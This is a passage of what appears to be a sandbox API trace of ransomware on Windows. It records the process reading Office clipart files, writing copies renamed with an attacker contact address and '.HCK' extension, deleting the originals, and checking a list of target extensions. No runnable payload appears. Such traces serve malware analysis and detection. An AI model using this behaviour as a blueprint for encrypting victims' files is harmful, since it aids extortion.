(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0232.236] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.236] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0232.237] GetLastError () returned 0x0 [0232.237] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x35f0, lpOverlapped=0x0) returned 1 [0232.361] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x3600, lpOverlapped=0x0) returned 1 [0232.362] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.362] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.362] SetEndOfFile (hFile=0x4c0) returned 1 [0232.540] CloseHandle (hObject=0x4c0) returned 1 [0232.540] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.540] SetEndOfFile (hFile=0x4c4) returned 1 [0232.543] CloseHandle (hObject=0x4c4) returned 1 [0232.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 1 [0232.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0232.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0232.545] lstrlenW (lpString=".doc") returned 4 [0232.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.545] lstrlenW (lpString=".docx") returned 5 [0232.545] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0232.545] lstrlenW (lpString=".pdf") returned 4 [0232.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.545] lstrlenW (lpString=".xls") returned 4 [0232.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.545] lstrlenW (lpString=".xlsx") returned 5 [0232.545] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0232.545] lstrlenW (lpString=".ppt") returned 4 [0232.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0232.545] lstrlenW (lpString=".zip") returned 4 [0232.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.545] lstrlenW (lpString=".rar") returned 4 [0232.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.545] lstrlenW (lpString=".bz2") returned 4 [0232.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.546] lstrlenW (lpString=".7z") returned 3 [0232.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0232.546] lstrlenW (lpString=".dbf") returned 4 [0232.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0232.546] lstrlenW (lpString=".1cd") returned 4 [0232.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0232.546] lstrlenW (lpString=".jpg") returned 4 [0232.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0232.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0232.546] lstrlenW (lpString=".doc") returned 4 [0232.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.546] lstrlenW (lpString=".docx") returned 5 [0232.546] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0232.546] lstrlenW (lpString=".pdf") returned 4 [0232.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.546] lstrlenW (lpString=".xls") returned 4 [0232.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.546] lstrlenW (lpString=".xlsx") returned 5 [0232.546] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0232.546] lstrlenW (lpString=".ppt") returned 4 [0232.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0232.546] lstrlenW (lpString=".zip") returned 4 [0232.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.546] lstrlenW (lpString=".rar") returned 4 [0232.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.546] lstrlenW (lpString=".bz2") returned 4 [0232.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.546] lstrlenW (lpString=".7z") returned 3 [0232.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0232.546] lstrlenW (lpString=".dbf") returned 4 [0232.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0232.547] lstrlenW (lpString=".1cd") returned 4 [0232.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0232.547] lstrlenW (lpString=".jpg") returned 4 [0232.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.547] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.547] lstrlenW (lpString="J0106572.WMF") returned 12 [0232.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0232.548] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=2148) returned 1 [0232.548] CloseHandle (hObject=0x4c4) returned 1 [0232.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 0x220 [0232.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0232.549] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.549] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0232.551] GetLastError () returned 0x0 [0232.551] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x864, lpOverlapped=0x0) returned 1 [0232.553] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x870, lpOverlapped=0x0) returned 1 [0232.554] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.555] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.555] SetEndOfFile (hFile=0x4c0) returned 1 [0232.555] CloseHandle (hObject=0x4c0) returned 1 [0232.555] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.555] SetEndOfFile (hFile=0x4c4) returned 1 [0232.558] CloseHandle (hObject=0x4c4) returned 1 [0232.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 1 [0232.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0232.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0232.560] lstrlenW (lpString=".doc") returned 4 [0232.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.561] lstrlenW (lpString=".docx") returned 5 [0232.561] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0232.561] lstrlenW (lpString=".pdf") returned 4 [0232.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.561] lstrlenW (lpString=".xls") returned 4 [0232.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.561] lstrlenW (lpString=".xlsx") returned 5 [0232.561] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0232.561] lstrlenW (lpString=".ppt") returned 4 [0232.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0232.561] lstrlenW (lpString=".zip") returned 4 [0232.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.561] lstrlenW (lpString=".rar") returned 4 [0232.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.561] lstrlenW (lpString=".bz2") returned 4 [0232.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.561] lstrlenW (lpString=".7z") returned 3 [0232.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0232.561] lstrlenW (lpString=".dbf") returned 4 [0232.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0232.561] lstrlenW (lpString=".1cd") returned 4 [0232.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0232.561] lstrlenW (lpString=".jpg") returned 4 [0232.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0232.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0232.561] lstrlenW (lpString=".doc") returned 4 [0232.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.563] lstrlenW (lpString=".docx") returned 5 [0232.563] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0232.563] lstrlenW (lpString=".pdf") returned 4 [0232.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.563] lstrlenW (lpString=".xls") returned 4 [0232.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.563] lstrlenW (lpString=".xlsx") returned 5 [0232.563] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0232.563] lstrlenW (lpString=".ppt") returned 4 [0232.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0232.563] lstrlenW (lpString=".zip") returned 4 [0232.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.563] lstrlenW (lpString=".rar") returned 4 [0232.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.563] lstrlenW (lpString=".bz2") returned 4 [0232.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.563] lstrlenW (lpString=".7z") returned 3 [0232.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0232.563] lstrlenW (lpString=".dbf") returned 4 [0232.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0232.564] lstrlenW (lpString=".1cd") returned 4 [0232.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68 [0232.564] lstrlenW (lpString=".jpg") returned 4 [0232.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.564] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.564] lstrlenW (lpString="J0106816.WMF") returned 12 [0232.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0232.565] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3332) returned 1 [0232.565] CloseHandle (hObject=0x4c4) returned 1 [0232.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 0x220 [0232.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0232.565] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.565] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0232.566] GetLastError () returned 0x0 [0232.566] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0xd04, lpOverlapped=0x0) returned 1 [0232.567] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xd10, lpOverlapped=0x0) returned 1 [0232.568] ReadFile (in: hFile=0x4c4, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.568] WriteFile (in: hFile=0x4c0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.568] SetEndOfFile (hFile=0x4c0) returned 1 [0232.568] CloseHandle (hObject=0x4c0) returned 1 [0232.568] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.568] SetEndOfFile (hFile=0x4c4) returned 1 [0232.571] CloseHandle (hObject=0x4c4) returned 1 [0232.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 1 [0232.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0232.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0232.572] lstrlenW (lpString=".doc") returned 4 [0232.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.572] lstrlenW (lpString=".docx") returned 5 [0232.572] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.572] lstrlenW (lpString=".pdf") returned 4 [0232.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.572] lstrlenW (lpString=".xls") returned 4 [0232.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.572] lstrlenW (lpString=".xlsx") returned 5 [0232.572] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.572] lstrlenW (lpString=".ppt") returned 4 [0232.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0232.572] lstrlenW (lpString=".zip") returned 4 [0232.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.572] lstrlenW (lpString=".rar") returned 4 [0232.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.572] lstrlenW (lpString=".bz2") returned 4 [0232.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.572] lstrlenW (lpString=".7z") returned 3 [0232.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0232.572] lstrlenW (lpString=".dbf") returned 4 [0232.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0232.572] lstrlenW (lpString=".1cd") returned 4 [0232.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0232.572] lstrlenW (lpString=".jpg") returned 4 [0232.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0232.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0232.573] lstrlenW (lpString=".doc") returned 4 [0232.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.573] lstrlenW (lpString=".docx") returned 5 [0232.573] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.573] lstrlenW (lpString=".pdf") returned 4 [0232.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.573] lstrlenW (lpString=".xls") returned 4 [0232.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.573] lstrlenW (lpString=".xlsx") returned 5 [0232.573] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.573] lstrlenW (lpString=".ppt") returned 4 [0232.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0232.573] lstrlenW (lpString=".zip") returned 4 [0232.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.573] lstrlenW (lpString=".rar") returned 4 [0232.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.573] lstrlenW (lpString=".bz2") returned 4 [0232.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.573] lstrlenW (lpString=".7z") returned 3 [0232.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0232.573] lstrlenW (lpString=".dbf") returned 4 [0232.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0232.573] lstrlenW (lpString=".1cd") returned 4 [0232.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0232.573] lstrlenW (lpString=".jpg") returned 4 [0232.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.573] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.573] lstrlenW (lpString="J0106958.WMF") returned 12 [0232.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0232.574] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=13784) returned 1 [0232.574] CloseHandle (hObject=0x4c4) returned 1 [0232.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 0x220 [0232.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0232.575] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: 